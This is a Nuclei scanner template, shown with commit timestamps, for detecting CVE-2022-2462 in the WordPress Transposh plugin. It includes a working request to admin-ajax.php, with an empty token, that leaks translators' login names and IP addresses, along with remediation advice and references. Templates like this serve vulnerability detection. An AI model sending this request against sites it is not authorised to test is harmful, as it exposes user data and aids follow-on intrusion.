nuclei-templates/http/cves/2022/CVE-2022-2462.yaml

64 lines
2.5 KiB
YAML
Raw Normal View History

2023-02-19 01:57:54 +00:00
id: CVE-2022-2462
info:
name: WordPress Transposh <=1.0.8.1 - Information Disclosure
2023-02-19 01:57:54 +00:00
author: dwisiswant0
severity: medium
description: |
2023-04-17 13:23:19 +00:00
WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.
2023-02-19 01:57:54 +00:00
reference:
- https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
- https://github.com/oferwald/transposh
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
- https://nvd.nist.gov/vuln/detail/CVE-2022-2462
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-2462
cwe-id: CWE-200
2023-10-14 11:27:55 +00:00
epss-score: 0.01386
epss-percentile: 0.84864
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-15 16:29:17 +00:00
vendor: transposh
product: transposh_wordpress_translation
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-07-15 16:29:17 +00:00
tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm
2023-02-19 01:57:54 +00:00
http:
2023-02-19 01:57:54 +00:00
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
2023-07-15 16:29:17 +00:00
body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history
2023-02-19 01:57:54 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
2023-07-15 16:29:17 +00:00
- type: dsl
dsl:
- "len(transposh) > 0" # 'transposh' equivalent for Transposh header key
2023-02-19 01:57:54 +00:00
- type: word
part: body
2023-07-15 16:29:17 +00:00
words:
# because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
2023-02-19 01:57:54 +00:00
- "translated"
- "translated_by"
- "timestamp"
- "source"
- "user_login"
condition: and
2023-07-15 16:29:17 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100928d9e865e1cbaa281bc22d1aad06c0dffbcbd2bfcf97e1515133f524c6c8ae102205d31c4db2d24a63a76851356f2a84ff1c08ae3ac6405272d91ad210817ef1406:922c64590222798bb761d5b6d8e72950